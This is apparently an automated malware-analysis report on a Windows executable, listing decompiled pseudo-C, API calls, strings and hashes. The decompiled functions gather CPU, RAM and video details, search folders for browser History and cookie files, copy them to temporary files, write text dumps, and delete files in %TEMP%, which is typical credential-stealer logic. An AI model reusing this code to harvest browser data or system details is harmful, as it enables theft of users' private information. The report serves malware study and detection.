Part of subcall function 00412974: GetTickCount.KERNEL32 ref: 004129B8
Part of subcall function 00412974: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34

Strings

\History, xrefs: 00412EA2
\*.*, xrefs: 00412DF2
ln, xrefs: 00412E41
.txt, xrefs: 00412F0C

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\History$ln
API String ID: 572697310-3533840778
Opcode ID: cd84331593b16b9991f75a97ea93da9f2b35be7fa56f61b6bb5e241ee4d4395b
Instruction ID: b8b382f9890bf67c4ce716ca2eff32e8703a5b333aba7ace94e6d5da5dd104b6
Opcode Fuzzy Hash: cd84331593b16b9991f75a97ea93da9f2b35be7fa56f61b6bb5e241ee4d4395b
Instruction Fuzzy Hash: 14514C749042199BCF50EF61CD89ACDBBB8FB48304F5041FAA108B3291DB789F959F14

Uniqueness

Uniqueness Score: -1.00%

Function 00415E44, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00415E44(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr* _t90;
				void* _t91;
				void* _t92;
				intOrPtr _t111;
				intOrPtr _t118;
				intOrPtr _t119;

				_t116 = __esi;
				_t115 = __edi;
				_t118 = _t119;
				_t91 = 0xb;
				do {
					_push(0);
					_push(0);
					_t91 = _t91 - 1;
					_t120 = _t91;
				} while (_t91 != 0);
				_t90 = __eax;
				_push(_t118);
				_push(0x415fd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				GetSystemInfo( &_v40); // executed
				E00403D88( &_v48,  *_t90);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t90,  &_v60, __edi, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t90,  &_v68, __edi, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t92); // executed
				E004075C0(0x80000002, _t90, _t92, _v64); // executed
				_push(_v52);
				_push(0x416070);
				E00403E78();
				E0040377C(_t90, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t90);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t90,  &_v84, _t116, _t120);
				_push(_v84);
				_push(0x416070);
				E00403E78();
				E0040377C(_t90, _v72);
				_push( *_t90);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t90, _t116, _t120); // executed
				_push(_v88);
				_push(0x4160a8);
				E00403850();
				_push( *_t90);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t90, _t115, _t116);
				_push(_v92);
				E00403850();
				_t111 = 0x4160a8;
				 *[fs:eax] = _t111;
				_push(E00415FD7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e44
0x00415e44
0x00415e45
0x00415e47
0x00415e4c
0x00415e4c
0x00415e4e
0x00415e50
0x00415e50
0x00415e50
0x00415e54
0x00415e58
0x00415e59
0x00415e5e
0x00415e61
0x00415e68
0x00415e72
0x00415e77
0x00415e7a
0x00415e7f
0x00415e84
0x00415e8d
0x00415e98
0x00415ea0
0x00415ea9
0x00415eb4
0x00415ec1
0x00415ec2
0x00415ec7
0x00415eca
0x00415ed7
0x00415ee1
0x00415ef0
0x00415efb
0x00415f00
0x00415f09
0x00415f0e
0x00415f11
0x00415f1e
0x00415f28
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3f
0x00415f4b
0x00415f50
0x00415f52
0x00415f5a
0x00415f5f
0x00415f6e
0x00415f75
0x00415f78
0x00415f7b
0x00415f88
0x00415f90
0x00415f98
0x00415fa5
0x00415fad
0x00415fb5
0x00415fbd
0x00415fcf

APIs

GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

Video Info, xrefs: 00415F52
CPU Model: , xrefs: 00415E7A
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415E88
CPU Count: , xrefs: 00415EEB
GetRAM: , xrefs: 00415F2F
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EA4

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 77118ddca9a63fcf03f001d29dafbf5d83836534b0b67b06ae8f1ff75ffe8e68
Instruction ID: 6ee615b5186dd69ea9a83c9e9698d3011ce36d6a126617133cf52e038528ef4b
Opcode Fuzzy Hash: 77118ddca9a63fcf03f001d29dafbf5d83836534b0b67b06ae8f1ff75ffe8e68
Instruction Fuzzy Hash: 9941F174A00108ABCB01EFD1D842FCDBBB9AF48305F51413BF504B7296D678EA468B59

Uniqueness

Uniqueness Score: -1.00%

Function 004099C0, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6E1A0000,00000000,00409B45,?,?,?,?,004194E2), ref: 00409A0B
FindFirstFileW.KERNEL32(00000000,?,6E1A0000,00000000,00409B45,?,?,?,?,004194E2), ref: 00409A3A
DeleteFileW.KERNEL32(00000000,?,00409B78,?,?,?,?,004194E2), ref: 00409ACF
FindNextFileW.KERNELBASE(00000000,?,?,?,?,?,004194E2), ref: 00409ADA
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,?,004194E2), ref: 00409B11
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,004194E2), ref: 00409B25

Strings

%TEMP%\, xrefs: 00409AF4

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$DirectoryFind$CurrentDeleteFirstFreeLibraryNextRemove
String ID: %TEMP%\
API String ID: 24694787-2282305525
Opcode ID: 11fa1f0f00714e7660f20e69478878c6a586d9b7bbece6cda1cdb215f0d1b957
Instruction ID: dc35ce041a643583f5f8d8bd1e87a628f97aff475ff8516c22ff3c130ece2fe8
Opcode Fuzzy Hash: 11fa1f0f00714e7660f20e69478878c6a586d9b7bbece6cda1cdb215f0d1b957
Instruction Fuzzy Hash: 204110746006199FC750EF69DC85A8AB7F9EF89305F0081B6A408F33A1DB74AE45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041160C, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 196
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041160C(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				char _v660;
				char _v664;
				char _v668;
				char _v672;
				char _v676;
				intOrPtr _v680;
				char _v684;
				void* _t86;
				intOrPtr* _t89;
				void* _t92;
				int _t95;
				intOrPtr* _t123;
				void* _t135;
				intOrPtr* _t139;
				void* _t151;
				intOrPtr _t155;
				intOrPtr _t171;
				intOrPtr _t178;
				intOrPtr _t198;
				intOrPtr _t199;

				_t196 = __esi;
				_t195 = __edi;
				_t153 = __ebx;
				_t198 = _t199;
				_push(__ecx);
				_t155 = 0x54;
				do {
					_push(0);
					_push(0);
					_t155 = _t155 - 1;
				} while (_t155 != 0);
				_push(_t155);
				_t1 =  &_v8;
				 *_t1 = _t155;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t198);
				_push(0x41195e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t199;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t86 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t86;
				do {
					_push(_v8);
					_push(0x411988);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411988);
					_t89 =  *0x41b180; // 0x41c91c
					_push( *_t89);
					E00403E78();
					_t92 = E0040776C(_v624, _t153, 0x104); // executed
					if(_t92 != 0) {
						_push(_t198);
						_push(0x41189c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t199;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x411988);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(0x411988);
							_t139 =  *0x41b180; // 0x41c91c
							_push( *_t139);
							E00403E78();
							E00411034(_v640, _t153,  &_v636, _t195, _t196); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x411988);
							_push(_v12);
							_push(E00411990);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t151);
							E0040E6D4(_t151, _t153, _v648, _t195, _t196);
						}
						if(_a4 == 0) {
							_push(_v8);
							_push(0x411988);
							E00403D6C( &_v672, 0x104,  &(_v616.cFileName));
							_push(_v672);
							_push(0x411988);
							_t123 =  *0x41b180; // 0x41c91c
							_push( *_t123);
							E00403E78();
							E004112D0(_v668, _t153,  &_v664, _t195, _t196); // executed
							E0040377C( &_v660, _v664);
							_push(_v660);
							_push(_v16);
							_push(0x411988);
							_push(_v12);
							_push(E00411990);
							E00403D6C( &_v684, 0x104,  &(_v616.cFileName));
							_push(_v684);
							_push(E00411990);
							_push(E004119A8);
							_push(E004119A8);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v676, _v680);
							_pop(_t135);
							E0040E6D4(_t135, _t153, _v676, _t195, _t196);
						}
						_pop(_t178);
						 *[fs:eax] = _t178;
					}
					_t95 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t95 != 0);
				FindClose(_v24);
				_pop(_t171);
				 *[fs:eax] = _t171;
				_push(E00411968);
				E00403BF4( &_v684, 2);
				E004034E4( &_v676);
				E00403BF4( &_v672, 3);
				E004034E4( &_v660);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0041160c
0x0041160c
0x0041160c
0x0041160d
0x0041160f
0x00411610
0x00411615
0x00411615
0x00411617
0x00411619
0x00411619
0x0041161c
0x0041161d
0x0041161d
0x00411620
0x00411621
0x00411622
0x00411623
0x00411626
0x00411629
0x0041162f
0x00411637
0x0041163f
0x00411646
0x00411647
0x0041164c
0x0041164f
0x00411667
0x00411678
0x0041167d
0x00411680
0x00411680
0x00411683
0x00411699
0x0041169e
0x004116a4
0x004116a9
0x004116ae
0x004116bb
0x004116c6
0x004116cd
0x004116d5
0x004116d6
0x004116db
0x004116de
0x004116e5
0x004116eb
0x004116ee
0x00411704
0x00411709
0x0041170f
0x00411714
0x00411719
0x00411726
0x00411737
0x00411748
0x00411753
0x00411754
0x00411757
0x0041175c
0x0041175f
0x00411775
0x0041177a
0x00411780
0x00411790
0x004117a1
0x004117ac
0x004117ad
0x004117ad
0x004117b6
0x004117bc
0x004117bf
0x004117d5
0x004117da
0x004117e0
0x004117e5
0x004117ea
0x004117f7
0x00411808
0x00411819
0x00411824
0x00411825
0x00411828
0x0041182d
0x00411830
0x00411846
0x0041184b
0x00411851
0x00411856
0x0041185b
0x00411860
0x00411870
0x00411881
0x0041188c
0x0041188d
0x0041188d
0x00411894
0x00411897
0x00411897
0x004118b1
0x004118b6
0x004118c2
0x004118c9
0x004118cc
0x004118cf
0x004118df
0x004118ea
0x004118fa
0x00411905
0x00411915
0x00411920
0x00411930
0x0041193b
0x0041194b
0x0041195d

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053,00000000,00000000,00000000,?,00411CBE,00000000,00000000), ref: 00411678

Part of subcall function 004112D0: GetTickCount.KERNEL32 ref: 00411315
Part of subcall function 004112D0: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

FindNextFileW.KERNEL32(?,?,ln,00411988,?,00411988,0041A212,00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053), ref: 004118B1
FindClose.KERNEL32(?,?,?,ln,00411988,?,00411988,0041A212,00000000,?,00000000,0041195E,?,00000000,?,00000000), ref: 004118C2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

.txt, xrefs: 00411780, 00411860
\*.*, xrefs: 0041165F
ln, xrefs: 004116AE, 00411719, 004117EA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFind$CloseCopyCountFirstFreeNextStringTick
String ID: .txt$\*.*$ln
API String ID: 4269597168-4162724269
Opcode ID: f007512cddc52dd218212dce464534246ca10e36b1458950051a50d929cd55c1
Instruction ID: 5d1a81ccab342788691620b24a62b0bf455cea36908fa984f2d283373c0e855c
Opcode Fuzzy Hash: f007512cddc52dd218212dce464534246ca10e36b1458950051a50d929cd55c1
Instruction Fuzzy Hash: 40813C7490011DAFCF11EB51CC56BDDB779EF44304F6081EAA218B62A1DB399F858F58

Uniqueness

Uniqueness Score: -1.00%

Function 00410064, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 154
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00410064(intOrPtr* __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				char _v652;
				signed int _t52;
				signed int _t53;
				void* _t67;
				intOrPtr* _t77;
				void* _t85;
				intOrPtr* _t95;
				void* _t126;
				void* _t127;
				intOrPtr _t129;
				intOrPtr _t147;
				intOrPtr* _t155;
				struct _WIN32_FIND_DATAW* _t157;
				intOrPtr _t159;
				intOrPtr _t160;

				_t52 = __eax +  *__eax;
				 *_t52 =  *_t52 + _t52;
				_t53 = _t52 | 0x5500000a;
				_t159 = _t160;
				_t129 = 0x50;
				do {
					_push(0);
					_push(0);
					_t129 = _t129 - 1;
				} while (_t129 != 0);
				_push(_t129);
				_t1 =  &_v8;
				 *_t1 = _t129;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = _t53;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_t157 =  &_v612;
				_t155 =  *0x41b198; // 0x41c6b8
				_push(_t159);
				_push(0x4102aa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t160;
				E00403E14( &_v616, L"\\*.txt", _v8, 0);
				_t67 = FindFirstFileW(E00403D98(_v616), _t157); // executed
				_t126 = _t67;
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v628, 0x104,  &(_t157->cFileName));
					_push(_v628);
					E00403E78();
					E0040FE00(_v624, _t126,  &_v620, _t155, _t157); // executed
					E00403798( &_v20, _v620);
					_push(_t157);
					_push(_t126);
				} while ( *((intOrPtr*)( *_t155))() != 0);
				_t77 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t77))(_t126);
				_push(_t157);
				_push(_v8);
				_push(L"\\*.coo");
				E00403E78();
				_t85 = FindFirstFileW(E00403D98(_v632), "kie"); // executed
				_t127 = _t85;
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v644, 0x104,  &(_t157->cFileName));
					_push(_v644);
					E00403E78();
					E0040FE00(_v640, _t127,  &_v636, _t155, _t157);
					E00403798( &_v20, _v636);
					_push(_t157);
					_push(_t127);
				} while ( *((intOrPtr*)( *_t155))() != 0);
				_t95 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t95))(_t127);
				if(E00403790(_v20) - 1 > 0) {
					_push(_v16);
					_push(0x4102d0);
					_push(_v12);
					_push(L".txt");
					E00403E78();
					E0040377C( &_v648, _v652);
					E0040E6D4(_v20, _t127, _v648, _t155, _t157);
				}
				_pop(_t147);
				 *[fs:eax] = _t147;
				_push(E004102B1);
				E00403BDC( &_v652);
				E004034E4( &_v648);
				E00403BF4( &_v644, 2);
				E004034E4( &_v636);
				E00403BF4( &_v632, 3);
				E004034E4( &_v620);
				E00403BDC( &_v616);
				E004034E4( &_v20);
				return E00403BF4( &_v16, 3);
			}

0x00410064
0x00410066
0x00410068
0x0041006d
0x00410070
0x00410075
0x00410075
0x00410077
0x00410079
0x00410079
0x0041007c
0x0041007d
0x0041007d
0x00410083
0x00410086
0x00410089
0x0041008f
0x00410097
0x0041009f
0x004100a4
0x004100aa
0x004100b2
0x004100b3
0x004100b8
0x004100bb
0x004100cd
0x004100e5
0x004100e7
0x004100e9
0x004100e9
0x004100ec
0x004100ff
0x00410104
0x00410115
0x00410126
0x00410134
0x00410139
0x0041013a
0x0041013f
0x00410144
0x0041014b
0x0041014d
0x0041014e
0x00410151
0x00410166
0x0041017e
0x00410180
0x00410182
0x00410182
0x00410185
0x00410198
0x0041019d
0x004101ae
0x004101bf
0x004101cd
0x004101d2
0x004101d3
0x004101d8
0x004101dd
0x004101e4
0x004101ef
0x004101f1
0x004101f4
0x004101f9
0x004101fc
0x0041020c
0x0041021d
0x0041022b
0x0041022b
0x00410232
0x00410235
0x00410238
0x00410243
0x0041024e
0x0041025e
0x00410269
0x00410279
0x00410284
0x0041028f
0x00410297
0x004102a9

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004102AA,?,00000000,?,00000000,0000004F,00000000,00000000,00000000,?,0041035E,00000000,00410D3F), ref: 004100E5
FindFirstFileW.KERNEL32(00000000,kie,\*.coo,0041A212,?,?,00000000,?,00000000,0000004F,00000000,00000000,00000000,?,0041035E,00000000), ref: 0041017E

Strings

.txt, xrefs: 004101FC
\*.txt, xrefs: 004100C5
kie, xrefs: 00410156
\*.coo, xrefs: 00410151

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 1974802433-3788688631
Opcode ID: 8df3b9075febb6fae40307389af5da8373ec0a667151f63fcb67573361b3936a
Instruction ID: 43533ec3db3b34fa5c05f8e376c9cbc7d7ade51c75d25ad873f5a9529fb270a9
Opcode Fuzzy Hash: 8df3b9075febb6fae40307389af5da8373ec0a667151f63fcb67573361b3936a
Instruction Fuzzy Hash: 1C512E74900119AFDB11EB65CC89ACDBBB8EF48304F5041F7A408B72A1DB78AF858F58

Uniqueness

Uniqueness Score: -1.00%

Function 00410068, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00410068(signed int __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				char _v652;
				signed int _t52;
				void* _t66;
				intOrPtr* _t76;
				void* _t84;
				intOrPtr* _t94;
				void* _t125;
				void* _t126;
				intOrPtr _t128;
				intOrPtr _t146;
				intOrPtr* _t154;
				struct _WIN32_FIND_DATAW* _t156;
				intOrPtr _t158;
				intOrPtr _t159;

				_t52 = __eax | 0x5500000a;
				_t158 = _t159;
				_t128 = 0x50;
				do {
					_push(0);
					_push(0);
					_t128 = _t128 - 1;
				} while (_t128 != 0);
				_push(_t128);
				_t1 =  &_v8;
				 *_t1 = _t128;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = _t52;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_t156 =  &_v612;
				_t154 =  *0x41b198; // 0x41c6b8
				_push(_t158);
				_push(0x4102aa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t159;
				E00403E14( &_v616, L"\\*.txt", _v8, 0);
				_t66 = FindFirstFileW(E00403D98(_v616), _t156); // executed
				_t125 = _t66;
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v628, 0x104,  &(_t156->cFileName));
					_push(_v628);
					E00403E78();
					E0040FE00(_v624, _t125,  &_v620, _t154, _t156); // executed
					E00403798( &_v20, _v620);
					_push(_t156);
					_push(_t125);
				} while ( *((intOrPtr*)( *_t154))() != 0);
				_t76 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t76))(_t125);
				_push(_t156);
				_push(_v8);
				_push(L"\\*.coo");
				E00403E78();
				_t84 = FindFirstFileW(E00403D98(_v632), "kie"); // executed
				_t126 = _t84;
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v644, 0x104,  &(_t156->cFileName));
					_push(_v644);
					E00403E78();
					E0040FE00(_v640, _t126,  &_v636, _t154, _t156);
					E00403798( &_v20, _v636);
					_push(_t156);
					_push(_t126);
				} while ( *((intOrPtr*)( *_t154))() != 0);
				_t94 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t94))(_t126);
				if(E00403790(_v20) - 1 > 0) {
					_push(_v16);
					_push(0x4102d0);
					_push(_v12);
					_push(L".txt");
					E00403E78();
					E0040377C( &_v648, _v652);
					E0040E6D4(_v20, _t126, _v648, _t154, _t156);
				}
				_pop(_t146);
				 *[fs:eax] = _t146;
				_push(E004102B1);
				E00403BDC( &_v652);
				E004034E4( &_v648);
				E00403BF4( &_v644, 2);
				E004034E4( &_v636);
				E00403BF4( &_v632, 3);
				E004034E4( &_v620);
				E00403BDC( &_v616);
				E004034E4( &_v20);
				return E00403BF4( &_v16, 3);
			}

0x00410068
0x0041006d
0x00410070
0x00410075
0x00410075
0x00410077
0x00410079
0x00410079
0x0041007c
0x0041007d
0x0041007d
0x00410083
0x00410086
0x00410089
0x0041008f
0x00410097
0x0041009f
0x004100a4
0x004100aa
0x004100b2
0x004100b3
0x004100b8
0x004100bb
0x004100cd
0x004100e5
0x004100e7
0x004100e9
0x004100e9
0x004100ec
0x004100ff
0x00410104
0x00410115
0x00410126
0x00410134
0x00410139
0x0041013a
0x0041013f
0x00410144
0x0041014b
0x0041014d
0x0041014e
0x00410151
0x00410166
0x0041017e
0x00410180
0x00410182
0x00410182
0x00410185
0x00410198
0x0041019d
0x004101ae
0x004101bf
0x004101cd
0x004101d2
0x004101d3
0x004101d8
0x004101dd
0x004101e4
0x004101ef
0x004101f1
0x004101f4
0x004101f9
0x004101fc
0x0041020c
0x0041021d
0x0041022b
0x0041022b
0x00410232
0x00410235
0x00410238
0x00410243
0x0041024e
0x0041025e
0x00410269
0x00410279
0x00410284
0x0041028f
0x00410297
0x004102a9

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004102AA,?,00000000,?,00000000,0000004F,00000000,00000000,00000000,?,0041035E,00000000,00410D3F), ref: 004100E5
FindFirstFileW.KERNEL32(00000000,kie,\*.coo,0041A212,?,?,00000000,?,00000000,0000004F,00000000,00000000,00000000,?,0041035E,00000000), ref: 0041017E

Strings

.txt, xrefs: 004101FC
\*.txt, xrefs: 004100C5
kie, xrefs: 00410156
\*.coo, xrefs: 00410151

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 1974802433-3788688631
Opcode ID: 8ca230227508b9c77cd2aa304f27e6346fbdbfaa511976a473570cbc3852410c
Instruction ID: 088217b2b45cfae069fb35e93e354f581dc1b265aea47ebc8cfafd296fb88eba
Opcode Fuzzy Hash: 8ca230227508b9c77cd2aa304f27e6346fbdbfaa511976a473570cbc3852410c
Instruction Fuzzy Hash: 51511F74900119AFDB10EB55CC89ACDBBB8EF48304F5041F7A418B32A1DB79AF858F58

Uniqueness

Uniqueness Score: -1.00%

Function 0041006C, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041006C(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				char _v652;
				void* _t65;
				intOrPtr* _t75;
				void* _t83;
				intOrPtr* _t93;
				void* _t124;
				void* _t125;
				intOrPtr _t127;
				intOrPtr _t145;
				intOrPtr* _t153;
				struct _WIN32_FIND_DATAW* _t155;
				intOrPtr _t157;
				intOrPtr _t158;

				_t157 = _t158;
				_t127 = 0x50;
				do {
					_push(0);
					_push(0);
					_t127 = _t127 - 1;
				} while (_t127 != 0);
				_push(_t127);
				_t1 =  &_v8;
				 *_t1 = _t127;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_t155 =  &_v612;
				_t153 =  *0x41b198; // 0x41c6b8
				_push(_t157);
				_push(0x4102aa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t158;
				E00403E14( &_v616, L"\\*.txt", _v8, 0);
				_t65 = FindFirstFileW(E00403D98(_v616), _t155); // executed
				_t124 = _t65;
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v628, 0x104,  &(_t155->cFileName));
					_push(_v628);
					E00403E78();
					E0040FE00(_v624, _t124,  &_v620, _t153, _t155); // executed
					E00403798( &_v20, _v620);
					_push(_t155);
					_push(_t124);
				} while ( *((intOrPtr*)( *_t153))() != 0);
				_t75 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t75))(_t124);
				_push(_t155);
				_push(_v8);
				_push(L"\\*.coo");
				E00403E78();
				_t83 = FindFirstFileW(E00403D98(_v632), "kie"); // executed
				_t125 = _t83;
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v644, 0x104,  &(_t155->cFileName));
					_push(_v644);
					E00403E78();
					E0040FE00(_v640, _t125,  &_v636, _t153, _t155);
					E00403798( &_v20, _v636);
					_push(_t155);
					_push(_t125);
				} while ( *((intOrPtr*)( *_t153))() != 0);
				_t93 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t93))(_t125);
				if(E00403790(_v20) - 1 > 0) {
					_push(_v16);
					_push(0x4102d0);
					_push(_v12);
					_push(L".txt");
					E00403E78();
					E0040377C( &_v648, _v652);
					E0040E6D4(_v20, _t125, _v648, _t153, _t155);
				}
				_pop(_t145);
				 *[fs:eax] = _t145;
				_push(E004102B1);
				E00403BDC( &_v652);
				E004034E4( &_v648);
				E00403BF4( &_v644, 2);
				E004034E4( &_v636);
				E00403BF4( &_v632, 3);
				E004034E4( &_v620);
				E00403BDC( &_v616);
				E004034E4( &_v20);
				return E00403BF4( &_v16, 3);
			}

0x0041006d
0x00410070
0x00410075
0x00410075
0x00410077
0x00410079
0x00410079
0x0041007c
0x0041007d
0x0041007d
0x00410083
0x00410086
0x00410089
0x0041008f
0x00410097
